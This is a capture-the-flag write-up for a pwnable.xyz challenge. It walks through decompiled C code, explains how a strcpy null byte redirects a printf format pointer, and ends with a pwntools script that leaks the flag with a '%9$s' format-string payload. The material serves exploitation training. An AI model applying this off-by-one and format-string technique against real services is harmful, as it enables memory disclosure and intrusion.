int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup();
*buf = 0LL;
*&buf[8] = 0LL;
printf("Are you 18 years or older? [y/N]: ");
buf[(read(0, buf, 0x10uLL) - 1)] = 0;
if ( buf[0] != 'y' && buf[0] != 'Y' )
return 0;
src = malloc(0x84uLL);
printf("Name: ");
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ");
printf(qword_601160, usr);
return 0;
}
.data:0000000000601080 flag db 'FLAG{*the_real_flag_will_be_here*}',0
there is a flag in the data segment
It gets my input in heap and copies (0x80) to usr (0x6010E0)
so my input range is 0x6010E0~0x601160
unsigned int setup()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, handler);
qword_601160 = &byte_601168;
byte_601168 = '%';
byte_601169 = 's';
byte_60116A = '\n';
return alarm(0x3Cu);
}
In setup function, format string is in the 0x601168,
and 0x601160=0x601118
In strcpy function, it adds \x00 at the end of the string.
When we fill 0x80 bytes, \x00 will be added at 0x601160, (0x601160=0x601100)
format string bug
*printf(qword_601160, usr);*
so in this code, the address of format string is 0x601100 (usr+0x20)
and the argument of the format string is 0x6010e0 (usr)
so we can first think the payload is *p64(0x601080).ljust(0x20,b'A')+b"%s"*
but strcpy
function copy until \x00
so we should find the address of the flag in the stack
if ( buf[0] != 'y' && buf[0] != 'Y' )
when we input first, it checks only first byte, so we can enter the address of the flag in buf.
but the address of the flag must be on the arranged address with 8
so the first payload is y(dummy(7))+p64(0x601080)
and the second payload is A*0x20+format strings until 0x80
The address of the flag is on the ninth.
Then, we can use $-flag
to print the 9th argument. ( %9$s )
python ex.py svc.pwnable.xyz : 30004
import sys
from pwn import *
if sys.argv.__len__()==4:
r=remote(sys.argv[1],int(sys.argv[3]))
else:
r=process("./GrownUpRedist")
context.log_level='debug'
r.sendafter(": ",b"y "+p64(0x601080))
pause()
r.send(b'X'.ljust(0x20,b'A')+b"%9$s".ljust(0x60,b'A'))
r.interactive()